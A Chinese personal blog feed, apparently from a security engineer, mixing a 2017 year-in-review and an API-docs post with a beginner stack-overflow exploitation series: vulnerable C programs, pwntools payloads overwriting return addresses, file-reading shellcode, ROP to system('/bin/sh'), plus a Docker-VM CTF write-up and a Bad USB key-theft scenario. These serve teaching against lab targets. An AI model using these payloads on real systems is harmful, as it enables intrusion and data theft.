在循环中进行比较的时候，本该使用 <=，但却使用了 <
没有考虑到一个序列是从 0 而不是 1 开始
忽略了字符串最后的结束标志 \0

在字符串 \0 场景下，off-by-one 可以覆盖字符串后面一个字节的数据，在部分场景下可能造成严重的问题。

漏洞分析

 1#include <stdio.h>
 2#include <string.h>
 3void foo(char* arg);
 4void bar(char* arg);
 5void foo(char* arg) {
 6 bar(arg);
 7}
 8void bar(char* arg) {
 9 char buf[256];
10 strcpy(buf, arg);
11}
12
13int main(int argc, char *argv[]) {
14 if(strlen(argv[1])>256) { /* [3] */
15 printf("Attempted Buffer Overflow\n");
16 fflush(stdout);
17 return -1;
18 }
19 foo(argv[1]);
20 return 0;
21}

漏洞成因非常简单，main 函数中允许 256 长度的字符串，但是 buf 也是 256 字节的，这会导致 buf 后面一个字节的数据被覆盖。

编译参数是 gcc -fno-stack-protector -z execstack -g -o vuln main.c

<2018>

Mon, 01 Jan 2018 00:00:01 +0000

2017 年恍恍惚惚的就过去了，回想了一下，这一年就做了几件微小的事情

尝试跑步

在林大操场和奥森，集中在五月到十月，一共 63 次，其他的时间中午有时候会和同事打球，虽然时间和距离都还很少，但是至少是一个好的开始。2018 年希望能运动的更多更多，再瘦回到高二的时候。

要注意的是

保护关节，不要运动损伤
不要三天打鱼两天晒网，天气冷的时候也要坚持其他的运动

英语流利说

懂你英语成功达标退费，和群里的小伙伴一起打卡，学习时间平均每天不低于30分钟。

懂你英语学完了 Level 6，但是 11 月份出了 Level 7，目前还没有开始学习。然后我还有一堆的外教课和拓展课还没有上。

总体的评价和之前的文章基本不变。

孙同学

孙同学是被朋友评价为 "温文尔雅" 的人（~~到底是不是熟了你就知道了~~），我的高中同学，16 年开始大五在中日友好医院实习，之后约玩了很多很多次。

逛过北京很多校园公园和景点，还探索到了奥森很多没去过的地方，然后我给拍了一些美美的照片。

孙同学也是一位天生的美食家，非常喜欢自己做饭，手艺也还不错（当然我现在也做的不错了）。下图是孙同学包的饺子。

要承认的是不承认，之前我对待孙同学有一些不太对的地方，后来被打脸了。不过我超级喜欢孙同学的，想一起疯玩，一起做饭，一起变得更好，一起走下去，所以就不要再犯什么错误啦~

在长亭

在长亭的第二年刚刚过去，主要工作还是在写 server，不过早就写烦了，有空还是要多研究安全的，否则就忘光了。年底尝试写了九篇二进制安全入门文章，因为看到市面上的文章都比较杂乱不系统，接下来还要继续写。

做安全挖漏洞才是终极的追求，不要做一个 CRUD boy。

写代码

毕业设计留下的坑被学弟填上了，在元旦之前终于突破了 1000 star。在这次重构中，大量的新技术都用上了。

大家都喜欢我也就很高兴。

生活

又看了两场五月天演唱会，学了点弹琴。

7月在深圳呆了一周，天气和环境真是非常的棒，除了太热了。10月在青岛呆了几天，见了见老同学，也甚是怀念。

18年想去更多的地方转转，不过貌似和下面的【钱】这章节矛盾，哈哈哈。

基本没有怎么看非技术的书。

攒钱和花钱

毕业到现在大约一年半花销很大，给家里也不少钱。截止到17年年底，手头就只有大约 x 万了，订一个小目标是年底攒钱到 4 * x 万吧，之前的都不算了。

2月初北京租的房子就要到期了，最近在看房子，然后又羡慕朋友圈各种买房子的朋友，打算 2019 年可以自己出一个首付在青岛买个房子，也许会逃离北京也许不会。

到了立 Flag 的时间了

攒钱
心态要好，控制情绪
不要停止学习，侧重安全和计算机基础

二进制安全之栈溢出（九）

Sat, 28 Oct 2017 12:46:07 +0000

本篇的代码和之前的略有修改，diff 是这样的。

126c26
2< write(1, "You Are Naive.\n", 15);
3---
4> printf("You Are Naive.\n");

其实是为了强行构造漏洞... 编译参数为 gcc -g -O0 -fno-stack-protector -o vuln main.c，需要开启 aslr。

通用 gadget

之前为了构造 gadget 我们使用工具去二进制文件和 libc 中寻找比较明显的，但是可能存在的两个问题

有些 gadget 不是太明显，需要经过很多步骤的初始化才能得到
在开启了 aslr 的情况下，libc 基址并不知道，libc 中的 gadget 使用比较困难

其实在使用了 libc 的二进制程序中，基本上都有一段最多可以写三个参数寄存器的通用 gadget，就在函数 __libc_csu_init 中。

 1gdb-peda$ pdisas __libc_csu_init
 2Dump of assembler code for function __libc_csu_init:
 3 0x00000000004007e0 <+0>:	push r15
 4 0x00000000004007e2 <+2>:	push r14
 5 0x00000000004007e4 <+4>:	mov r15d,edi
 6 0x00000000004007e7 <+7>:	push r13
 7 0x00000000004007e9 <+9>:	push r12
 8 0x00000000004007eb <+11>:	lea r12,[rip+0x20061e] # 0x600e10
 9 0x00000000004007f2 <+18>:	push rbp
10 0x00000000004007f3 <+19>:	lea rbp,[rip+0x20061e] # 0x600e18
11 0x00000000004007fa <+26>:	push rbx
12 0x00000000004007fb <+27>:	mov r14,rsi
13 0x00000000004007fe <+30>:	mov r13,rdx
14 0x0000000000400801 <+33>:	sub rbp,r12
15 0x0000000000400804 <+36>:	sub rsp,0x8
16 0x0000000000400808 <+40>:	sar rbp,0x3
17 0x000000000040080c <+44>:	call 0x400540 <_init>
18 0x0000000000400811 <+49>:	test rbp,rbp
19 0x0000000000400814 <+52>:	je 0x400836 <__libc_csu_init+86>
20 0x0000000000400816 <+54>:	xor ebx,ebx
21 0x0000000000400818 <+56>:	nop DWORD PTR [rax+rax*1+0x0]
22 0x0000000000400820 <+64>:	mov rdx,r13
23 0x0000000000400823 <+67>:	mov rsi,r14
24 0x0000000000400826 <+70>:	mov edi,r15d
25 0x0000000000400829 <+73>:	call QWORD PTR [r12+rbx*8]
26 0x000000000040082d <+77>:	add rbx,0x1
27 0x0000000000400831 <+81>:	cmp rbx,rbp
28 0x0000000000400834 <+84>:	jne 0x400820 <__libc_csu_init+64>
29 0x0000000000400836 <+86>:	add rsp,0x8
30 0x000000000040083a <+90>:	pop rbx
31 0x000000000040083b <+91>:	pop rbp
32 0x000000000040083c <+92>:	pop r12
33 0x000000000040083e <+94>:	pop r13
34 0x0000000000400840 <+96>:	pop r14
35 0x0000000000400842 <+98>:	pop r15
36 0x0000000000400844 <+100>:	ret
37End of assembler dump.

这个 gadget 的流程是这样的

二进制安全之栈溢出（八）

Fri, 27 Oct 2017 12:46:07 +0000

阅读本文前需要阅读 https://www.zhihu.com/question/21249496 和回答后面的四个链接。

plt && got 表

之前提到有些函数实现的代码是在 libc 中，但是编译时和运行时，libc 可能是不同的版本，函数的偏移位置也不一样，这种情况下，操作系统是怎么找到对应的函数的呢？

以下面的代码为例

 1#include <stdio.h>
 2#include <stdlib.h>
 3
 4void world() {
 5 printf("World");
 6}
 7
 8int main(int argc, char* argv[]) {
 9 printf("Hello ");
10 world();
11 return 0;
12}

main 函数的汇编代码可以看到

 1gdb-peda$ pdisas main
 2Dump of assembler code for function main:
 3 0x000000000040053c <+0>:	push rbp
 4 0x000000000040053d <+1>:	mov rbp,rsp
 5 0x0000000000400540 <+4>:	sub rsp,0x10
 6 0x0000000000400544 <+8>:	mov DWORD PTR [rbp-0x4],edi
 7 0x0000000000400547 <+11>:	mov QWORD PTR [rbp-0x10],rsi
 8 0x000000000040054b <+15>:	mov edi,0x4005fa
 9 0x0000000000400550 <+20>:	mov eax,0x0
10 0x0000000000400555 <+25>:	call 0x400400 <printf@plt>
11 0x000000000040055a <+30>:	mov eax,0x0
12 0x000000000040055f <+35>:	call 0x400526 <world>
13 0x0000000000400564 <+40>:	mov eax,0x0
14 0x0000000000400569 <+45>:	leave
15 0x000000000040056a <+46>:	ret

在两个 printf 那里下断点，然后 si 跟进第一个 printf@plt 看下。

二进制安全之栈溢出（七）

Thu, 26 Oct 2017 12:46:07 +0000

本篇文章会使用一个稍复杂的 gadget，同时解决 gadget 含有换行符带来的问题。

mprotect

之前使用 vmmap 命令的时候会注意到有一列是内存地址的权限，rwx 和文件系统的一致，NX 不可执行就是没有 x 权限，当然这不是绝对的，使用 mprotect 可以修改这个权限，这样的话，就可以在栈上执行 shellcode 了。

 1gdb-peda$ vmmap
 2Start End Perm	Name
 30x00400000 0x00401000 r-xp	/home/virusdefender/Desktop/pwn/new/vuln
 40x00600000 0x00601000 r--p	/home/virusdefender/Desktop/pwn/new/vuln
 50x00601000 0x00602000 rw-p	/home/virusdefender/Desktop/pwn/new/vuln
 60x00602000 0x00623000 rw-p	[heap]
 70x00007ffff7a0d000 0x00007ffff7bcd000 r-xp	/lib/x86_64-linux-gnu/libc-2.23.so
 80x00007ffff7bcd000 0x00007ffff7dcd000 ---p	/lib/x86_64-linux-gnu/libc-2.23.so
 90x00007ffff7dcd000 0x00007ffff7dd1000 r--p	/lib/x86_64-linux-gnu/libc-2.23.so
100x00007ffff7dd1000 0x00007ffff7dd3000 rw-p	/lib/x86_64-linux-gnu/libc-2.23.so
110x00007ffff7dd3000 0x00007ffff7dd7000 rw-p	mapped
120x00007ffff7dd7000 0x00007ffff7dfd000 r-xp	/lib/x86_64-linux-gnu/ld-2.23.so
130x00007ffff7fda000 0x00007ffff7fdd000 rw-p	mapped
140x00007ffff7ff6000 0x00007ffff7ff8000 rw-p	mapped
150x00007ffff7ff8000 0x00007ffff7ffa000 r--p	[vvar]
160x00007ffff7ffa000 0x00007ffff7ffc000 r-xp	[vdso]
170x00007ffff7ffc000 0x00007ffff7ffd000 r--p	/lib/x86_64-linux-gnu/ld-2.23.so
180x00007ffff7ffd000 0x00007ffff7ffe000 rw-p	/lib/x86_64-linux-gnu/ld-2.23.so
190x00007ffff7ffe000 0x00007ffff7fff000 rw-p	mapped
200x00007ffffffde000 0x00007ffffffff000 rw-p	[stack]
210xffffffffff600000 0xffffffffff601000 r-xp	[vsyscall]

函数原型是 int mprotect(void *addr, size_t len, int prot);，addr 是内存地址开头，len 是长度，prot 就是权限位，在 manpage 上有 PROT_WRITE、PROT_EXEC、PROT_READ 等几项，权限是位运算之后的数字，根据宏定义， rwx 就是 0x1 | 0x2 | 0x4。

需要注意的是 mprotect 修改的内存的起始地址必须和内存页对齐，范围也必须是内存页大小的整数倍，否则系统调用会失败，详见 manpage。getconf PAGESIZE 可以获取内存页大小，默认是 4096。

二进制安全之栈溢出（六）

Wed, 25 Oct 2017 12:46:07 +0000

上一篇文章在执行 system 函数的时候是使用的 libc 中的 /bin/sh 字符串，如果我们想运行一个自定义的命令那就不一定能在内存中找到了，万幸的是 student 结构体的内存也是可以控制的，我们可以在结构体中也放入一个字符串，这样就可以实现任意参数了。

可以把参数放在结构体的开头，shellcode 大致就是这个样子的

 1from pwn import *
 2
 3student = 0x7fffffffe2f0
 4cmd = "cat flag\x00"
 5shellcode = "1925\n" + cmd
 6shellcode += "A" * (0x7fffffffe348 - student - len(cmd))
 7# pop rdi; ret
 8shellcode += p64(0x0000000000400803)
 9# cmd
10shellcode += p64(student)
11# system
12shellcode += p64(0x400550)
13
14print shellcode

但是在 GDB 中直接运行会发现进程虽然启动了 /bin/sh，但是 cat 没有执行，为了调试这个问题，还是先搞清楚 system 的实现比较好。

标准库里面的 system 在 Linux 下实际就是 __libc_system

 1int
 2__libc_system (const char *line)
 3{
 4 if (line == NULL)
 5 /* Check that we have a command processor available. It might
 6 not be available after a chroot(), for example. */
 7 return do_system ("exit 0") == 0;
 8
 9 return do_system (line);
10}

然后 do_system 才是真正的逻辑，在 GitHub 上有人 mirror 了一份源码，简单的原理就是 fork 之后在子进程 execve，其中参数是

二进制安全之栈溢出（五）

Tue, 24 Oct 2017 12:46:07 +0000

NX 不可执行是一项重要的漏洞利用缓解措施，为了绕过 NX 我们需要利用已有的可执行区域的代码片段来辅助完整漏洞利用。

这次还是需要禁用 ASLR，编译参数为 gcc -g -O0 -fno-stack-protector -o vuln main.c

在 32 位系统中，函数调用参数都是通过栈来传递的，而在 64 位系统中，函数参数是优先使用寄存器来传递的，当参数少于 7 个时，参数从左到右放入寄存器 rdi, rsi, rdx, rcx, r8, r9，如果超过 7 个，剩下的参数还是使用栈来传递。

在 32 位系统中，因为栈是相对容易控制的，我们可以控制栈为函数参数的形式，然后覆盖返回地址为已有的函数地址，比如 libc 中的 system 函数，这样就可以实现任意命令执行了。但是在 64 位系统中，控制了栈是没有用的，必须要控制寄存器才可以，除非是函数不需要参数。所以我们需要找到一些已有的指令片段，比如 pop rdi，会把栈中的参数转移到寄存器中，这样逐步的控制所需的所有寄存器，我们称这种指令片段为 gadget。

需要什么

以执行 system("/bin/sh") 为例

system 函数的地址
要执行的函数参数，这里是 /bin/sh，需要在内存中放置或者找到一个已有的。
一个可以把 /bin/sh 放入 rdi 寄存器的 gadget。

`system("/bin/sh")`

system 函数的地址可以简单获得

1gdb-peda$ p system
2$1 = {<text variable, no debug info>} 0x400550 <system@plt>

而寻找 /bin/sh 可以使用 find 命令

1gdb-peda$ find "/bin/sh"
2Searching for '/bin/sh' in: None ranges
3Found 1 results, display max 1 items:
4libc : 0x7ffff7b99d17 --> 0x68732f6e69622f ('/bin/sh')

发现 libc 中有一个，而 student 内存我们可以控制，也可以自己放置一个，这次先使用 libc 中的。

二进制安全之栈溢出（四）

Mon, 23 Oct 2017 12:46:07 +0000

这一篇会总结一下前面一笔带过的几个问题，否则那仅仅是一个理想环境下的漏洞利用，在真实环境下很难遇到这么好用的。

canary

canary 就是在栈溢出发生的高危区域的尾部插入一个值，当函数返回之时检测 canary 的值是否经过了改变，以此来判断是否发生栈溢出。

使用 gcc -S -fno-stack-protector -o 1.s main.c 和 gcc -S -o 2.s main.c 分别生成两个汇编文件，然后 diff 结果如下。

 135,37d34
 2< 	movq	%fs:40, %rax
 3< 	movq	%rax, -8(%rbp)
 4< 	xorl	%eax, %eax
 588,92d84
 6< 	movq	-8(%rbp), %rdx
 7< 	xorq	%fs:40, %rdx
 8< 	je	.L8
 9< 	call	__stack_chk_fail
10< .L8:

实际调试也很清楚的展示了这一点

 1[----------------------------------registers-----------------------------------]
 2RAX: 0x1a5ab696c6c08700
 3RBP: 0x7fffffffe340 --> 0x400810 (<__libc_csu_init>:	push r15)
 4...
 5[-------------------------------------code-------------------------------------]
 6 0x400721 <main+11>:	mov QWORD PTR [rbp-0x60],rsi
 7 0x400725 <main+15>:	mov rax,QWORD PTR fs:0x28
 8 0x40072e <main+24>:	mov QWORD PTR [rbp-0x8],rax
 9=> 0x400732 <main+28>:	xor eax,eax
10...
11[------------------------------------------------------------------------------]
12Legend: code, data, rodata, value
130x0000000000400732	9	int main(int argc, char **argv) {
14gdb-peda$ x 0x7fffffffe338
150x7fffffffe338:	0x1a5ab696c6c08700

在部分情况下，__stack_chk_fail 也可以来漏洞利用，以后会提到。

二进制安全之栈溢出（三）

Sun, 22 Oct 2017 12:46:07 +0000

上一篇文章中控制了函数的返回地址，将地址修改为已有的指令地址，但是为了实现任意代码执行，是需要将返回地址修改为我们可以控制的 shellcode 的地址的。

shellcode

在 http://docs.pwntools.com/en/stable/shellcraft/amd64.html#module-pwnlib.shellcraft.amd64.linux 有使用 pwntools 生成 shellcode 的文档。我选择了一个读取文件的 shellcode。

 1>>> from pwn import *
 2>>> code = shellcraft.amd64.linux.cat("flag")
 3>>> asm_code = asm(code, arch="amd64", os="linux")
 4>>> print code
 5 /* push 'flag\x00' */
 6 push 0x67616c66
 7 /* call open('rsp', 0, 'O_RDONLY') */
 8 push SYS_open /* 2 */
 9 pop rax
10 mov rdi, rsp
11 xor esi, esi /* 0 */
12 cdq /* rdx=0 */
13 syscall
14 /* call sendfile(1, 'rax', 0, 2147483647) */
15 mov r10d, 0x7fffffff
16 mov rsi, rax
17 push SYS_sendfile /* 0x28 */
18 pop rax
19 push 1
20 pop rdi
21 cdq /* rdx=0 */
22 syscall
23
24>>> print repr(asm(code))
25'hflagj\x02XH\x89\xe71\xf6\x99\x0f\x05A\xba\xff\xff\xff\x7fH\x89\xc6j(Xj\x01_\x99\x0f\x05'
26>>> print len(asm_code)
2734

因为这段 shellcode 长度只有 34 个字节，完全可以塞入栈中，然后我们使用之前的办法，确定一个返回地址就可以了，这里就是 student 结构体的起始地址。

1from pwn import *
2
3code = shellcraft.amd64.linux.cat("flag")
4shellcode = asm(code, arch="amd64", os="linux")
5data = "1925\n" + shellcode + "A" * (0x7fffffffe348 - 0x7fffffffe2f0 - len(shellcode)) + p64(0x7fffffffe2f0)
6
7print data

NX 栈不可执行

在 GDB 中运行，会得到一个 SIGSEGV，并不会得到 flag。

 1gdb-peda$ r < in.txt
 2Starting program: /home/virusdefender/Desktop/pwn/new/vuln < in.txt
 3What's Your Birth?
 4What's Your Name?
 5You Are Born In 1094795585
 6You Are Naive.
 7You Speed One Second Here.
 8
 9Program received signal SIGSEGV, Segmentation fault.
10[----------------------------------registers-----------------------------------]
11RAX: 0x0
12RBX: 0x0
13RCX: 0x7ffff7b04290 (<__write_nocancel+7>:	cmp rax,0xfffffffffffff001)
14RDX: 0x7ffff7dd3780 --> 0x0
15RSI: 0x602010 ("You Speed One Second Here.\n")
16RDI: 0x1
17RBP: 0x4141414141414141 ('AAAAAAAA')
18RSP: 0x7fffffffe350 --> 0x0
19RIP: 0x7fffffffe2f0 --> 0x58026a67616c6668
20R8 : 0x2e6572654820646e ('nd Here.')
21R9 : 0x1b
22R10: 0x0
23R11: 0x246
24R12: 0x4005c0 (<_start>:	xor ebp,ebp)
25R13: 0x7fffffffe420 --> 0x1
26R14: 0x0
27R15: 0x0
28EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
29[-------------------------------------code-------------------------------------]
30 0x7fffffffe2ea:	add bh,bh
31 0x7fffffffe2ec:	add DWORD PTR [rax],eax
32 0x7fffffffe2ee:	add BYTE PTR [rax],al
33=> 0x7fffffffe2f0:	push 0x67616c66
34 0x7fffffffe2f5:	push 0x2
35 0x7fffffffe2f7:	pop rax
36 0x7fffffffe2f8:	mov rdi,rsp
37 0x7fffffffe2fb:	xor esi,esi
38[------------------------------------stack-------------------------------------]
390000| 0x7fffffffe350 --> 0x0
400008| 0x7fffffffe358 --> 0x7fffffffe428 --> 0x7fffffffe6b4 ("/home/virusdefender/Desktop/pwn/new/vuln")
410016| 0x7fffffffe360 --> 0x1f7ffcca0
420024| 0x7fffffffe368 --> 0x4006b6 (<main>:	push rbp)
430032| 0x7fffffffe370 --> 0x0
440040| 0x7fffffffe378 --> 0xd7d0880889372de6
450048| 0x7fffffffe380 --> 0x4005c0 (<_start>:	xor ebp,ebp)
460056| 0x7fffffffe388 --> 0x7fffffffe420 --> 0x1
47[------------------------------------------------------------------------------]
48Legend: code, data, rodata, value
49Stopped reason: SIGSEGV
500x00007fffffffe2f0 in ?? ()

而且可以看到我们的地址计算是没问题的，只是 shellcode 第一个指令就挂掉了。

二进制安全之栈溢出（二）

Sat, 21 Oct 2017 12:46:07 +0000

上一篇文章是通过数组越界覆盖结构体中其他成员内存，达到修改该成员的值的目的，接下来将使用第二种方法获取 flag，就是使用数组越界覆盖函数的返回地址，达到控制函数执行流程的目的。

函数栈的变化

这一次需要使用的编译参数是 gcc -g -O0 -fno-stack-protector -o vuln main.c，fno-stack-protector 是禁用编译器的栈保护机制，毕竟是入门。需要提前学习的是 https://zhuanlan.zhihu.com/p/25816426 里面的背景知识，明白函数调用过程中栈的变化。

总结一下

调用其他函数：
- 参数进栈（当然后面会发现，x64 下面会优先使用寄存器传参数的）
- 下一条指令地址进栈
进入函数：
- 当前栈基地址压栈（当前栈基地址实际上也是前一个函数的栈基地址）

比如代码

 1int add(int a, int b){
 2 return a + b;
 3}
 4
 5int main(){
 6 int a = 1;
 7 int b = 2;
 8 add(a, b);
 9 return 0;
10}

得到的汇编是这样的

 1gdb-peda$ pdisas main
 2Dump of assembler code for function main:
 3 0x00000000004004ea <+0>:	push rbp
 4 0x00000000004004eb <+1>:	mov rbp,rsp
 5 # 栈顶提高 16 个字节 |rbp|........|rsp| -> 内存地址减小方向
 6 0x00000000004004ee <+4>:	sub rsp,0x10
 7 # 在栈上放了两个数字，占用了 8 个字节
 8 # |rbp| 2 | 1 | ... |rsp|
 9 0x00000000004004f2 <+8>:	mov DWORD PTR [rbp-0x8],0x1
10 0x00000000004004f9 <+15>:	mov DWORD PTR [rbp-0x4],0x2
11 # 把两个数字给寄存器
12 0x0000000000400500 <+22>:	mov edx,DWORD PTR [rbp-0x4]
13 0x0000000000400503 <+25>:	mov eax,DWORD PTR [rbp-0x8]
14 0x0000000000400506 <+28>:	mov esi,edx
15 0x0000000000400508 <+30>:	mov edi,eax
16 # 函数调用，其实相当于 push 下一条指令地址，然后跳转到 add 函数那里
17 0x000000000040050a <+32>:	call 0x4004d6 <add>
18 # eax 在这里保存返回值的值
19 0x000000000040050f <+37>:	mov eax,0x0
20 # leave 相当于 mov rsp,rbp; pop rbp
21 # 这个函数的栈相当于清空了
22 0x0000000000400514 <+42>:	leave
23 0x0000000000400515 <+43>:	ret
24End of assembler dump.
25
26gdb-peda$ pdisas add
27Dump of assembler code for function add:
28 # 保存 main 函数的栈底地址
29 0x00000000004004d6 <+0>:	push rbp
30 # rbp = rsp 当前函数的栈底地址等于栈顶地址，相当于创建了一个新的空栈
31 0x00000000004004d7 <+1>:	mov rbp,rsp
32 # 寄存器中的值放到栈里面，然后放到运算的寄存器中
33 0x00000000004004da <+4>:	mov DWORD PTR [rbp-0x4],edi
34 0x00000000004004dd <+7>:	mov DWORD PTR [rbp-0x8],esi
35 0x00000000004004e0 <+10>:	mov edx,DWORD PTR [rbp-0x4]
36 0x00000000004004e3 <+13>:	mov eax,DWORD PTR [rbp-0x8]
37 # 加法
38 0x00000000004004e6 <+16>:	add eax,edx
39 # pop rbp，其实这个函数中栈里面并没有新增的数据
40 0x00000000004004e8 <+18>:	pop rbp
41 0x00000000004004e9 <+19>:	ret
42End of assembler dump.

使用上篇文章的代码生成的汇编会更复杂，但是暂时这些就够了。

二进制安全之栈溢出（一）

Fri, 20 Oct 2017 12:46:07 +0000

这将是一个连载，也是我的学习过程的记录，有任何问题麻烦拉到页面最下方，使用评论功能告诉我。

贵司的猫猫 哞哞 镇楼

首先假设已经有了 C 语言的基础知识，还有简单的汇编和了解内存栈结构，如果这些也不懂，还是需要先回去学习基础知识。

以后不特殊说明的话，环境都是 Ubuntu 16.04.2 x86-64 gcc version 5.4.0 GDB version 7.11.1。

安装 peda

peda 是 GDB 的一个插件，提供了很多方便我们调试和漏洞利用的功能。源码和安装方式在 https://github.com/longld/peda

下面的代码我也忘了来源了，反正是充满了暴力气息的一段代码。

 1#include <stdio.h>
 2
 3struct Student {
 4 char name[64];
 5 char s;
 6 int birth;
 7};
 8
 9int main(int argc, char **argv) {
10 struct Student student;
11 student.s = 'c';
12 printf("What's Your Birth?\n");
13 scanf("%d", &student.birth);
14 while (getchar() != '\n') ;
15 if (student.birth == 1926) {
16 printf("You Cannot Born In 1926!\n");
17 return 0;
18 }
19 printf("What's Your Name?\n");
20 gets(student.name);
21 printf("You Are Born In %d\n", student.birth);
22 if (student.birth == 1926) {
23 printf("You Shall Have The Flag.\n");
24 system("cat flag");
25 } else {
26 printf("You Are Naive.\n");
27 printf("You Spend One Second Here.\n");
28 }
29 return 0;
30}

gcc -g -O0 -o vuln main.c 编译

Vulnerable Docker VM WriteUp

Wed, 27 Sep 2017 04:46:07 +0000

半夜发烧睡不着，看到一个有意思的类CTF的题目，就看了下。

https://www.notsosecure.com/vulnerable-docker-vm/ 可以下载一个虚拟机镜像，导入后开机会提示虚拟机的IP。先使用 nmap 扫描一下

1Nmap scan report for 192.168.30.171
2Host is up (0.00057s latency).
3Not shown: 998 closed ports
4PORT STATE SERVICE
522/tcp open ssh
68000/tcp open http-alt

开启了 ssh，但是没有密码无法登陆，8000 端口是一个 WordPress，有一些文章和 robots.txt ，大致翻了下，没有什么有用的信息。

用 wpscan 扫了一下，发现有个注入，就是我上一篇文章提到的，并没什么用，没有安装插件，但是有一个叫 bob 的用户。

1Identified the following 1 user/s:
2+----+-------+-----------------+
3| Id | Login | Name |
4+----+-------+-----------------+
5| 1 | bob | bob – NotSoEasy |
6+----+-------+-----------------+

然后看了眼 hint，用户的密码是 Welcome1（其实应该用字典跑的），就这样进入了后台，在草稿箱中发现了第一个 flag。

如果可以进入 wp 的后台，那么拿 shell 就很简单了，使用在线编辑功能就可以。

重复 prepare 带来的 WordPress 注入漏洞分析

Wed, 30 Aug 2017 03:09:07 +0000

原文比较乱，重新整理和总结了一下

https://medium.com/websec/wordpress-sqli-bbb2afcc8e94
https://medium.com/websec/wordpress-sqli-poc-f1827c20bf8e

sprintf 函数

两个例子

可以使用 %n$ 取到第 n 个参数

1echo sprintf('The %2$s contains %1$d monkeys', 100, "zoo");

输出 The zoo contains 100 monkeys

%n$ 后面可以加入 padding 的指示符，使用 '开头

An optional padding specifier that says what character will be used for padding the results to the right string size. This may be a space character or a 0 (zero character). The default is to pad with spaces. An alternate padding character can be specified by prefixing it with a single quote (').

使用树莓派 Zero 实现带回显的新型 Bad USB

Thu, 03 Aug 2017 18:09:07 +0000

某天小黑以修理网络的名义潜入某公司办公室，想窃取一位运维台式机上的某个私钥文件，根据之前的信息收集，该公司电脑不能连接外网，而且有 DLP 产品监控的 agent，插入优盘后会提示，如果向优盘复制文件，会立即报警，文件也会被加密，无线网卡类设备也也不可以，只有键盘鼠标可以随便使用。办公环境下有一个 SSID 和密码已知的 guest 网络，可以访问外网。这种情况下怎么窃取私钥，并尽可能长时间的维持权限呢？

很多人也许会说 BadUSB ，但是这种情况下真的可以用么，怎么植入木马然后传回私钥呢？

现有的 BadUSB 设备的缺点

底层硬件和驱动修改复杂

BadUSB 火了有几年了，网上的教程也是花式繁多，主要分为 Teensy 系列和 USB Rubber Ducky 系列，它们是使用 Arduino 或者优盘实现的，相对来说制作的难度比较大，因为宽泛来说都是属于"嵌入式编程"了，而且因为很多固件并不是真正开源的，是通过各种 Hack 实现的。还有一点就是这个硬件平台都是很简化的，想增加功能，还受到硬件的限制。

单向数据传递，没有回显，无法更新 Paylaod

黑客在进行渗透测试的时候，很是很讨厌没有回显的洞的，因为看不到是否执行成功，甚至看不到执行结果，只能靠运气和人品。而且设备插上之后，是否成功就已经决定了，即使执行失败，也没有办法去更新和修复自己的 Payload，不是一个持久化的方案。我们希望的是能实现攻击者、BadUSB 和受害者三部分两条链路的长时间的双向通信。

遇到密码就懵逼

如果你的 Payload 会弹出 UAC 或者需要 root 权限，那基本上避免不了需要输入密码了。有几个办法可以尝试下，首先是通过社工尝试收集密码字典然后暴力尝试，其次是自带一个提权脚本，很多洞的提权脚本并不长，而且很好用，最后那就是寄希望于人品了，如果对方直接就是使用的高权限用户，那就是人品大爆发了。这个问题的解决方案我们会放在展望章节中，并不在这一次的文章中解决。

树莓派也可以做 BadUSB？

一般来说，USB 设备有两种，一种是 Host，比如电脑，可以去读取其他 USB 设备的数据，另外一种是 Device，比如键盘鼠标优盘。所以从根本上来说，制作一个 Bad USB 核心要求只有一个，就是自身可以作为 USB Device。参考 https://electronics.stackexchange.com/questions/49140/what-exactly-are-the-difference-between-a-usb-host-and-device

市面上稍早些的树莓派，比如树莓派2B，树莓派3等，它们都只支持作为 Host，而迷你的树莓派 Zero 和 Zero w 同时支持作为 Host 和 Device。

和 Zero 比，Zero w 主要是增加了 WiFi 和蓝牙，所以以下都是用的这个型号，官方价10刀，某宝大约需要25刀才能买到。缺点是体积稍大，长度略长，而宽度就是正常优盘的两倍多了。

测试驱动文档在后端 API 开发中的实践

Sun, 23 Jul 2017 12:39:07 +0000

很多人了解过 Python 的 doctest，是从注释中写测试，我们现在反向思维，从测试生成文档。

现状

在开头有必要说明一下现在后端 API 的开发模式，这样才能更好的理解遇到的问题。

框架: Django
给前端提供的都是 JSON API，没有后端渲染的网页
所有的 API 都继承 APIView，但是并不是 Django REST framework（以下简称 DRF，名字太长了）中的 APIView，这个后面会说原因
使用 DRF 中的部分 serializer 来做数据格式验证和 QuerySet 转换为 Python 字典列表等类型的工作

DRF 库提供了很多我们并不会用到的功能，比如

登录验证，权限管理，API 版本号管理，限流、自动翻页等等，这些我们更侧重独立和手动的处理。
Generic Views 一直是一个让我感到疑惑的东西，看似写起来简单，代码量很少，像是填充一些预定义的变量和方法，简单的增删查改会方便一点，但是在实际复杂的业务场景下，可能导致问题复杂化，并没有显式的写出操作过程更清晰。

所以我们仿照 DRF 的 APIView，继承 Django 的 View,自己写了一个新的 APIView，包含了核心功能，解析 JSON，同时增加了部分常用方法，比如 validate_serializer、self.success、self.error 和 self.paginate 等等。

下面是一段伪代码

 1class UserProfileAPI(APIView):
 2 @validate_serializer(ChangeUserProfileSeralizer)
 3 def put(self):
 4 ....
 5 if err:
 6 return self.error("保存失败")
 7 return self.success(UserProfileSerailzier(user_profile).data)
 8
 9class ProblemAPI(APIView):
10 def get(self):
11 return self.success(self.paginate(request, Problem.objects.all(), ProblemSerializer)))

现有的文档存在什么问题

没有文档，靠"口口相传"和"心有灵犀"。
手写 API 文档，不同人写出来的可能格式风格略有差异，也不容易统一管理。更重要的是人都是懒的，没有监督的情况下，文档能不写就不写，而测试还是要必须要写的。
一处修改很多 API 可能都会变，比如某一个 Model 修改了字段，很多 API 的返回值都可能受到影响，手动的逐个修改并不科学。
已有的文档生成工具自定义程度不高，比如 Django REST Swagger 要求 Generic Views 就放弃了。
还有些文档生成工具是在注释中使用特定的格式描述 API 字段和细节的，其实和手写文档没有本质上的差异。
上面几条总结一下就是：手写的文档很难自动化验证是否正确，测试生成文档可以保证和测试是一致的。
虽然"代码即文档"，但是也只适用于非 API 文档，比如数据库设计、架构设计、算法设计等，因为代码并不一定适合传播给所有人看，尤其是 API 文档一般都是对外的，而且代码中的注释经常是分散的，文档上一个 API 的说明、请求、响应等几部分数据可能分散在几个文件中。

我们的实践

要改进上面的问题，基本原则是尽量少改动已有的代码，所以经过和 @reverland 的一番讨论，确定使用下面的方法：

2017-人生无限公司

Thu, 04 May 2017 22:39:07 +0000

最好的五月留给了济南~

